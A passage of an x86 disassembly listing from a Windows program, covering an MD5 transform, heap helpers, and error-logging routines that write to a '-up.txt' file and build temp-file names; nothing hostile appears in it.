not edi
and edi, edx
or edi, ebx
mov ebx, edx
add edi, [ebp+var_40]
lea ecx, [ecx+edi-182C0438h]
mov edi, ecx
shl edi, 14h
shr ecx, 0Ch
or edi, ecx
mov ecx, edx
add edi, eax
not ecx
and ecx, eax
and ebx, edi
or ecx, ebx
mov ebx, [ebp+var_4]
add ecx, [ebp+var_2C]
mov [ebp+var_8], edi
lea ebx, [ebx+ecx+21E1CDE6h]
mov ecx, ebx
shr ecx, 1Bh
shl ebx, 5
or ecx, ebx
mov ebx, eax
not ebx
add ecx, edi
and ebx, edi
mov edi, eax
and edi, ecx
or ebx, edi
add ebx, [ebp+var_18]
lea edx, [edx+ebx-3CC8F82Ah]
mov edi, edx
shr edi, 17h
shl edx, 9
or edi, edx
mov edx, [ebp+var_8]
add edi, ecx
mov ebx, edi
and ebx, [ebp+var_8]
not edx
and edx, ecx
or edx, ebx
add edx, [ebp+var_44]
lea eax, [eax+edx-0B2AF279h]
mov edx, eax
shr edx, 12h
shl eax, 0Eh
or edx, eax
mov eax, ecx
add edx, edi
not eax
mov ebx, edx
and eax, edi
and ebx, ecx
or eax, ebx
mov ebx, [ebp+var_8]
add eax, [ebp+var_30]
lea eax, [ebx+eax+455A14EDh]
mov ebx, eax
shl ebx, 14h
shr eax, 0Ch
or ebx, eax
mov eax, edi
add ebx, edx
mov [ebp+var_8], ebx
not eax
mov ebx, edi
and eax, edx
and ebx, [ebp+var_8]
or eax, ebx
add eax, [ebp+var_1C]
lea ecx, [ecx+eax-561C16FBh]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, edx
add eax, [ebp+var_8]
mov [ebp+var_4], eax
and ecx, [ebp+var_4]
mov eax, edx
mov ebx, [ebp+var_4]
not eax
and eax, [ebp+var_8]
or eax, ecx
mov ecx, [ebp+var_8]
add eax, [ebp+var_48]
not ecx
and ecx, ebx
lea edi, [edi+eax-3105C08h]
mov eax, edi
shr eax, 17h
shl edi, 9
or eax, edi
add eax, ebx
mov edi, eax
and edi, [ebp+var_8]
or ecx, edi
add ecx, [ebp+var_34]
lea edx, [edx+ecx+676F02D9h]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, ebx
add ecx, eax
not edx
mov edi, ecx
and edx, eax
and edi, ebx
or edx, edi
mov edi, [ebp+var_8]
add edx, [ebp+var_20]
lea edi, [edi+edx-72D5B376h]
mov edx, edi
shl edx, 14h
shr edi, 0Ch
or edx, edi
mov edi, eax
add edx, ecx
xor edi, ecx
xor edi, edx
add edi, [ebp+var_3C]
lea ebx, [ebx+edi-5C6BEh]
mov edi, ebx
shr edi, 1Ch
shl ebx, 4
or edi, ebx
mov ebx, ecx
add edi, edx
xor ebx, edx
xor ebx, edi
add ebx, [ebp+var_30]
lea eax, [eax+ebx-788E097Fh]
mov ebx, eax
shr ebx, 15h
shl eax, 0Bh
or ebx, eax
add ebx, edi
mov eax, ebx
xor eax, edx
xor eax, edi
add eax, [ebp+var_24]
lea ecx, [ecx+eax+6D9D6122h]
mov eax, ecx
shr eax, 10h
shl ecx, 10h
or eax, ecx
mov ecx, ebx
add eax, ebx
xor ecx, eax
mov [ebp+var_C], eax
mov eax, ecx
xor eax, edi
add eax, [ebp+var_18]
lea edx, [edx+eax-21AC7F4h]
mov eax, edx
shl eax, 17h
shr edx, 9
or eax, edx
add eax, [ebp+var_C]
xor ecx, eax
add ecx, [ebp+var_4C]
lea edi, [edi+ecx-5B4115BCh]
mov ecx, edi
shr ecx, 1Ch
shl edi, 4
or ecx, edi
mov edi, [ebp+var_C]
mov edx, edi
add ecx, eax
xor edx, eax
xor edx, ecx
add edx, [ebp+var_40]
lea ebx, [ebx+edx+4BDECFA9h]
mov edx, ebx
shr edx, 15h
shl ebx, 0Bh
or edx, ebx
add edx, ecx
mov ebx, edx
mov [ebp+arg_0], edx
xor ebx, eax
xor ebx, ecx
add ebx, [ebp+var_34]
lea ebx, [edi+ebx-944B4A0h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
add edi, edx
xor [ebp+arg_0], edi
mov ebx, [ebp+arg_0]
xor ebx, ecx
add ebx, [ebp+var_28]
lea ebx, [eax+ebx-41404390h]
mov eax, ebx
shl eax, 17h
shr ebx, 9
or eax, ebx
mov ebx, [ebp+arg_0]
add eax, edi
xor ebx, eax
add ebx, [ebp+var_1C]
lea ebx, [ecx+ebx+289B7EC6h]
mov ecx, ebx
shr ecx, 1Ch
shl ebx, 4
or ecx, ebx
mov ebx, edi
add ecx, eax
xor ebx, eax
xor ebx, ecx
add ebx, [ebp+var_50]
lea edx, [edx+ebx-155ED806h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, ecx
mov edx, ebx
xor edx, eax
xor edx, ecx
add edx, [ebp+var_44]
lea edx, [edi+edx-2B10CF7Bh]
mov edi, edx
shr edi, 10h
shl edx, 10h
or edi, edx
mov [ebp+arg_0], ebx
add edi, ebx
xor [ebp+arg_0], edi
mov edx, [ebp+arg_0]
xor edx, ecx
add edx, [ebp+var_38]
lea edx, [eax+edx+4881D05h]
mov eax, edx
shl eax, 17h
shr edx, 9
or eax, edx
mov edx, [ebp+arg_0]
add eax, edi
xor edx, eax
add edx, [ebp+var_2C]
lea edx, [ecx+edx-262B2FC7h]
mov ecx, edx
shr ecx, 1Ch
shl edx, 4
or ecx, edx
mov edx, edi
xor edx, eax
add ecx, eax
xor edx, ecx
add edx, [ebp+var_20]
lea ebx, [ebx+edx-1924661Bh]
mov edx, ebx
shr edx, 15h
shl ebx, 0Bh
or edx, ebx
add edx, ecx
mov ebx, edx
xor ebx, eax
xor ebx, ecx
add ebx, [ebp+var_14]
lea ebx, [edi+ebx+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, ecx
add ebx, [ebp+var_48]
lea eax, [eax+ebx-3B53A99Bh]
mov ebx, eax
shl ebx, 17h
shr eax, 9
or ebx, eax
mov eax, edx
add ebx, edi
not eax
or eax, ebx
xor eax, edi
add eax, [ebp+var_50]
lea eax, [ecx+eax-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [ebp+var_34]
lea eax, [edx+eax+432AFF97h]
mov edx, eax
shr edx, 16h
shl eax, 0Ah
or edx, eax
mov eax, ebx
add edx, ecx
not eax
or eax, edx
xor eax, ecx
add eax, [ebp+var_18]
lea eax, [edi+eax-546BDC59h]
mov edi, eax
shr edi, 11h
shl eax, 0Fh
or edi, eax
mov eax, ecx
add edi, edx
push 85845DD1h
not eax
or eax, edi
push 15h
xor eax, edx
push [ebp+var_4C]
add eax, [ebp+var_3C]
lea ebx, [ebx+eax-36C5FC7h]
mov eax, ebx
shl eax, 15h
shr ebx, 0Bh
or eax, ebx
mov ebx, edx
add eax, edi
not ebx
or ebx, eax
mov [ebp+var_8], eax
xor ebx, edi
add ebx, [ebp+var_20]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edi
add ebx, eax
not ecx
or ecx, ebx
push ebx
xor ecx, eax
mov [ebp+var_4], ebx
add ecx, [ebp+var_44]
not eax
lea edx, [edx+ecx-70F3336Eh]
mov ecx, edx
shr ecx, 16h
shl edx, 0Ah
or ecx, edx
add ecx, ebx
or eax, ecx
push ecx
xor eax, ebx
mov [ebp+var_10], ecx
add eax, [ebp+var_28]
lea eax, [edi+eax-100B83h]
mov edx, eax
shr edx, 11h
shl eax, 0Fh
or edx, eax
lea eax, [ebp+var_8]
add edx, ecx
push edx
push eax
mov [ebp+var_C], edx
call sub_508280
push 6FA87E4Fh
push 6
push [ebp+var_30]
lea eax, [ebp+var_4]
push [ebp+var_10]
push [ebp+var_C]
push [ebp+var_8]
push eax
call sub_508280
push 0FE2CE6E0h
push 0Ah
push [ebp+var_14]
lea eax, [ebp+var_10]
push [ebp+var_C]
push [ebp+var_8]
push [ebp+var_4]
push eax
call sub_508280
add esp, 54h
push 0A3014314h
push 0Fh
push [ebp+var_38]
lea eax, [ebp+var_C]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_10]
push eax
call sub_508280
push 4E0811A1h
push 15h
push [ebp+var_1C]
lea eax, [ebp+var_8]
push [ebp+var_4]
push [ebp+var_10]
push [ebp+var_C]
push eax
call sub_508280
push 0F7537E82h
push 6
push [ebp+var_40]
lea eax, [ebp+var_4]
push [ebp+var_10]
push [ebp+var_C]
push [ebp+var_8]
push eax
call sub_508280
add esp, 54h
lea eax, [ebp+var_10]
push 0BD3AF235h
push 0Ah
push [ebp+var_24]
push [ebp+var_C]
push [ebp+var_8]
push [ebp+var_4]
push eax
call sub_508280
push 2AD7D2BBh
push 0Fh
push [ebp+var_48]
lea eax, [ebp+var_C]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_10]
push eax
call sub_508280
push 0EB86D391h
push 15h
push [ebp+var_2C]
lea eax, [ebp+var_8]
push [ebp+var_4]
push [ebp+var_10]
push [ebp+var_C]
push eax
call sub_508280
mov eax, [ebp+var_4]
add esp, 54h
add [esi], eax
mov eax, [ebp+var_8]
add [esi+4], eax
mov eax, [ebp+var_C]
add [esi+8], eax
mov eax, [ebp+var_10]
add [esi+0Ch], eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_5079D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508280 proc near ; CODE XREF: sub_5079D8+79Cp
; sub_5079D8+7B8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
mov edx, [ebp+arg_0]
not eax
or eax, [ebp+arg_4]
push esi
push 20h
xor eax, [ebp+arg_8]
pop ecx
sub ecx, [ebp+arg_14]
add eax, [edx]
add eax, [ebp+arg_10]
add eax, [ebp+arg_18]
mov esi, eax
shr esi, cl
mov ecx, [ebp+arg_14]
shl eax, cl
or esi, eax
add esi, [ebp+arg_4]
mov [edx], esi
pop esi
pop ebp
retn
sub_508280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5082B3 proc near ; CODE XREF: sub_50785D+F2p
; sub_50785D+12Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jbe short loc_5082F6
mov edx, [ebp+arg_0]
mov ecx, [ebp+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_5082CB: ; CODE XREF: sub_5082B3+40j
mov dl, [ecx]
mov [eax-1], dl
mov edx, [ecx]
shr edx, 8
mov [eax], dl
mov edx, [ecx]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx]
shr edx, 18h
mov [eax+2], dl
add eax, 4
add ecx, 4
lea edx, [esi+eax]
cmp edx, [ebp+arg_8]
jb short loc_5082CB
pop esi
loc_5082F6: ; CODE XREF: sub_5082B3+7j
pop ebp
retn 0Ch
sub_5082B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5082FA proc near ; CODE XREF: sub_5079D8+2Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jbe short loc_50833E
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push esi
push edi
push 0FFFFFFFEh
lea eax, [edx+2]
pop esi
sub esi, edx
loc_508313: ; CODE XREF: sub_5082FA+40j
movzx edi, byte ptr [eax-1]
xor edx, edx
mov dh, [eax+1]
mov dl, [eax]
add eax, 4
shl edx, 8
or edx, edi
movzx edi, byte ptr [eax-6]
shl edx, 8
or edx, edi
mov [ecx], edx
lea edx, [esi+eax]
add ecx, 4
cmp edx, [ebp+arg_8]
jb short loc_508313
pop edi
pop esi
loc_50833E: ; CODE XREF: sub_5082FA+7j
pop ebp
retn 0Ch
sub_5082FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508342 proc near ; CODE XREF: _5:004FEC71p _5:004FEC92p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
push 0
push 0
push 0
push [ebp+var_4]
call ds:dword_511778 ; RaiseException
leave
retn
sub_508342 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50835A proc near ; CODE XREF: sub_4FD2E0+3C8p
; _5:004FEE70p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
call sub_508397
mov [ebp+var_8], eax
cmp [ebp+arg_0], 0
jnz short loc_508371
xor eax, eax
jmp short locret_508395
; ---------------------------------------------------------------------------
loc_508371: ; CODE XREF: sub_50835A+11j
push [ebp+arg_0]
push 8
push [ebp+var_8]
call ds:dword_511740 ; RtlAllocateHeap
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_508392
mov ecx, 0EF000009h
call sub_508342
loc_508392: ; CODE XREF: sub_50835A+2Cj
mov eax, [ebp+var_4]
locret_508395: ; CODE XREF: sub_50835A+15j
leave
retn
sub_50835A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508397 proc near ; CODE XREF: sub_50835A+5p
; sub_5083DD:loc_5083E9p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_511A44, 0
jnz short loc_5083C0
push 0
push 10000h
push 0
call ds:dword_511748 ; HeapCreate
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ds:dword_511A44, eax
jmp short loc_5083C8
; ---------------------------------------------------------------------------
loc_5083C0: ; CODE XREF: sub_508397+Bj
mov eax, ds:dword_511A44
mov [ebp+var_4], eax
loc_5083C8: ; CODE XREF: sub_508397+27j
cmp [ebp+var_4], 0
jnz short loc_5083D8
mov ecx, 0EF00000Dh
call sub_508342
loc_5083D8: ; CODE XREF: sub_508397+35j
mov eax, [ebp+var_4]
leave
retn
sub_508397 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5083DD proc near ; CODE XREF: _5:004FE1FEp
; sub_4FF00C+10p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_5083E9
jmp short locret_5083FF
; ---------------------------------------------------------------------------
loc_5083E9: ; CODE XREF: sub_5083DD+8j
call sub_508397
mov [ebp+var_4], eax
push [ebp+arg_0]
push 0
push [ebp+var_4]
call ds:dword_511744 ; RtlFreeHeap
locret_5083FF: ; CODE XREF: sub_5083DD+Aj
leave
retn
sub_5083DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508401 proc near ; CODE XREF: sub_50848C+64p
; sub_5084F7+3Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
push 0
push 0
call ds:dword_5117C4 ; ChangeDisplaySettingsA
push 10h
push ds:off_50E4F4
push [ebp+var_4]
push 0
call ds:dword_5117D0 ; MessageBoxA
push 0
call ds:dword_5116E4 ; GetCurrentProcess
push eax
call ds:dword_511798 ; TerminateProcess
leave
retn
sub_508401 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508436 proc near ; CODE XREF: sub_50848C+52p
; sub_50848C+5Cp ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E500
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_1C], ecx
and [ebp+var_4], 0
push [ebp+var_1C]
call sub_508538
pop ecx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_50847D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
loc_50847D: ; CODE XREF: sub_508436+3Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_508436 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50848C proc near ; CODE XREF: sub_4FF036+C4p
; sub_4FF94C+CDp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push offset dword_511A28
call ds:dword_5116C4 ; RtlEnterCriticalSection
mov [ebp+var_8], offset dword_511A48
push [ebp+arg_4]
push [ebp+arg_0]
push offset aErrorAtSDReaso ; "Error at %s:%d\n\nReason: "
push [ebp+var_8]
call ds:dword_5117D4 ; wsprintfA
add esp, 10h
mov [ebp+var_C], eax
lea eax, [ebp+arg_C]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_8]
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
push eax
call ds:dword_5117D8 ; wvsprintfA
and [ebp+var_4], 0
mov ecx, [ebp+var_8]
call sub_508436
mov ecx, offset asc_510D5C ; "\n"
call sub_508436
mov ecx, [ebp+var_8]
call sub_508401
leave
retn
sub_50848C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5084F7 proc near ; CODE XREF: sub_504AB0+128p
; sub_50DAB0+8p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_8], offset dword_511A48
lea eax, [ebp+arg_4]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_0]
push [ebp+var_8]
call ds:dword_5117D8 ; wvsprintfA
and [ebp+var_4], 0
mov ecx, [ebp+var_8]
call sub_508436
mov ecx, offset asc_510D5C ; "\n"
call sub_508436
mov ecx, [ebp+var_8]
call sub_508401
leave
retn
sub_5084F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508538 proc near ; CODE XREF: sub_508436+30p
; sub_508726+74p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E510
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 1Ch
push ebx
push esi
push edi
push offset dword_511A28
call ds:dword_5116C4 ; RtlEnterCriticalSection
and [ebp+var_1C], 0
and [ebp+var_4], 0
mov eax, offset dword_4FD720
mov eax, [eax+4]
mov eax, [eax+78h]
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz loc_5086AD
push 400h
call sub_50835A
pop ecx
mov [ebp+var_30], eax
mov eax, [ebp+var_30]
mov [ebp+var_1C], eax
push 0
call ds:dword_511718 ; GetModuleHandleA
mov ecx, offset dword_4FD720
mov ecx, [ecx+4]
mov [ecx+7Ch], eax
mov eax, offset dword_4FD720
mov eax, [eax+4]
cmp dword ptr [eax+7Ch], 0
jnz short loc_5085C2
jmp loc_5086F6
; ---------------------------------------------------------------------------
loc_5085C2: ; CODE XREF: sub_508538+83j
push 400h
push [ebp+var_1C]
mov eax, offset dword_4FD720
mov eax, [eax+4]
push dword ptr [eax+7Ch]
call ds:dword_511714 ; GetModuleFileNameA
test eax, eax
jnz short loc_5085E4
jmp loc_5086F6
; ---------------------------------------------------------------------------
loc_5085E4: ; CODE XREF: sub_508538+A5j
mov edi, [ebp+var_1C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_24], ecx
push offset aUp_txt ; "-up.txt"
mov eax, [ebp+var_1C]
add eax, [ebp+var_24]
push eax
call ds:dword_5117D4 ; wsprintfA
pop ecx
pop ecx
push 0
push 80h
push 2
push 0
push 1
push 40000000h
push [ebp+var_1C]
call ds:dword_5116A8 ; CreateFileA
mov ecx, offset dword_4FD720
mov ecx, [ecx+4]
mov [ecx+78h], eax
mov eax, offset dword_4FD720
mov eax, [eax+4]
mov eax, [eax+78h]
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_508648
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_508690
loc_508648: ; CODE XREF: sub_508538+108j
push offset aUp1_txt ; "-up1.txt"
mov eax, [ebp+var_1C]
add eax, [ebp+var_24]
push eax
call ds:dword_5117D4 ; wsprintfA
pop ecx
pop ecx
push 0
push 80h
push 2
push 0
push 1
push 40000000h
push [ebp+var_1C]
call ds:dword_5116A8 ; CreateFileA
mov ecx, offset dword_4FD720
mov ecx, [ecx+4]
mov [ecx+78h], eax
mov eax, offset dword_4FD720
mov eax, [eax+4]
mov eax, [eax+78h]
mov [ebp+var_20], eax
loc_508690: ; CODE XREF: sub_508538+10Ej
cmp [ebp+var_20], 0
jz short loc_50869C
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_50869E
loc_50869C: ; CODE XREF: sub_508538+15Cj
jmp short loc_5086F6
; ---------------------------------------------------------------------------
loc_50869E: ; CODE XREF: sub_508538+162j
push 2
push 0
push 0
push [ebp+var_20]
call ds:dword_511788 ; SetFilePointer
loc_5086AD: ; CODE XREF: sub_508538+4Aj
cmp [ebp+var_20], 0FFFFFFFFh
jz short loc_5086E7
push 0
lea eax, [ebp+var_28]
push eax
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push [ebp+arg_0]
push [ebp+var_20]
call ds:dword_5117BC ; WriteFile
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+var_28], ecx
jz short loc_5086E7
jmp short loc_5086F6
; ---------------------------------------------------------------------------
loc_5086E7: ; CODE XREF: sub_508538+179j
; sub_508538+1ABj ...
push 0FFFFFFFFh
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
jmp short loc_508717
; ---------------------------------------------------------------------------
loc_5086F6: ; CODE XREF: sub_508538+85j
; sub_508538+A7j ...
and [ebp+var_2C], 0
jmp short loc_5086E7
; ---------------------------------------------------------------------------
loc_5086FC: ; DATA XREF: _6:0050E518o
push offset dword_511A28
call ds:dword_511754 ; RtlLeaveCriticalSection
mov eax, [ebp+var_1C]
mov [ebp+var_34], eax
push [ebp+var_34]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
loc_508717: ; CODE XREF: sub_508538+1BCj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_508538 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508726 proc near ; CODE XREF: sub_500C5C+345p
; sub_508C27+1Dp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
; FUNCTION CHUNK AT 005087BB SIZE 0000000F BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E520
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 14h
push ebx
push esi
push edi
and [ebp+var_1C], 0
and [ebp+var_4], 0
push 1000h
call sub_50835A
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
mov [ebp+var_1C], eax
lea eax, [ebp+arg_4]
mov [ebp+var_20], eax
push [ebp+var_20]
push [ebp+arg_0]
push [ebp+var_1C]
call ds:dword_5117D8 ; wvsprintfA
mov [ebp+var_24], eax
push offset asc_510D90 ; "\r\n"
mov eax, [ebp+var_1C]
add eax, [ebp+var_24]
push eax
call ds:dword_5117D4 ; wsprintfA
pop ecx
pop ecx
and [ebp+var_20], 0
push [ebp+var_1C]
call sub_508538
pop ecx
or [ebp+var_4], 0FFFFFFFFh
call sub_5087AB
jmp short loc_5087BB
sub_508726 endp
; =============== S U B R O U T I N E =======================================
sub_5087AB proc near ; CODE XREF: sub_508726+7Ep
; DATA XREF: _6:0050E528o
mov eax, [ebp-1Ch]
mov [ebp-2Ch], eax
push dword ptr [ebp-2Ch]
call sub_5083DD
pop ecx
retn
sub_5087AB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_508726
loc_5087BB: ; CODE XREF: sub_508726+83j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_508726
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5087CA proc near ; CODE XREF: sub_5061E1+D39p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00508883 SIZE 0000000F BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E530
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 10h
push ebx
push esi
push edi
and [ebp+var_1C], 0
and [ebp+var_20], 0
and [ebp+var_4], 0
push 1000h
call sub_50835A
pop ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_1C], eax
push 0
push 0
lea eax, [ebp+var_20]
push eax
push 400h
call ds:dword_511710 ; RtlGetLastWin32Error
push eax
push 0
push 1300h
call ds:dword_5116DC ; FormatMessageA
cmp [ebp+var_20], 0
jz short loc_508859
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+var_20]
push offset aWindowsErrorSA ; "windows error %s\n at %s(%d)\n"
push [ebp+var_1C]
call ds:dword_5117D4 ; wsprintfA
add esp, 14h
push [ebp+var_1C]
call sub_508538
pop ecx
loc_508859: ; CODE XREF: sub_5087CA+6Aj
or [ebp+var_4], 0FFFFFFFFh
call sub_508864
jmp short loc_508883
sub_5087CA endp
; =============== S U B R O U T I N E =======================================
sub_508864 proc near ; CODE XREF: sub_5087CA+93p
; DATA XREF: _6:0050E538o
cmp dword ptr [ebp-20h], 0
jz short loc_508873
push dword ptr [ebp-20h]
call ds:dword_511764 ; LocalFree
loc_508873: ; CODE XREF: sub_508864+4j
mov eax, [ebp-1Ch]
mov [ebp-28h], eax
push dword ptr [ebp-28h]
call sub_5083DD
pop ecx
retn
sub_508864 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5087CA
loc_508883: ; CODE XREF: sub_5087CA+98j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_5087CA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_508892 proc near ; CODE XREF: sub_5058CF+A2p
; sub_5061E1+1F4p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
movzx eax, ds:byte_511A40
and eax, 1
test eax, eax
jnz short loc_5088BE
mov al, ds:byte_511A40
or al, 1
mov ds:byte_511A40, al
call ds:dword_5116E8 ; GetCurrentProcessId
mov ds:dword_511A20, eax
loc_5088BE: ; CODE XREF: sub_508892+13j
cmp [ebp+arg_8], 0
jnz short loc_5088CE
mov eax, ds:dword_511A20
mov [ebp+var_10], eax
jmp short loc_5088D4
; ---------------------------------------------------------------------------
loc_5088CE: ; CODE XREF: sub_508892+30j
mov eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_5088D4: ; CODE XREF: sub_508892+3Aj
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
push 124h
call sub_50835A
pop ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
push 49h
pop ecx
xor eax, eax
mov edi, [ebp+var_4]
rep stosd
push [ebp+var_4]
push 104h
call ds:dword_511734 ; GetTempPathA
movzx eax, [ebp+arg_4]
test eax, eax
jz short loc_508948
mov eax, ds:dword_515A48
inc eax
mov ds:dword_515A48, eax
push ds:dword_515A48
push [ebp+arg_0]
push [ebp+var_8]
push offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###"
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov eax, [ebp+var_4]
add eax, ecx
push eax
call ds:dword_5117D4 ; wsprintfA
add esp, 14h
jmp short loc_50899B
; ---------------------------------------------------------------------------
loc_508948: ; CODE XREF: sub_508892+7Aj
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_508977
push [ebp+arg_0]
push [ebp+var_8]
push offset aMbx@X@X_ ; "MBX@%X@%X.###"
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov eax, [ebp+var_4]
add eax, ecx
push eax
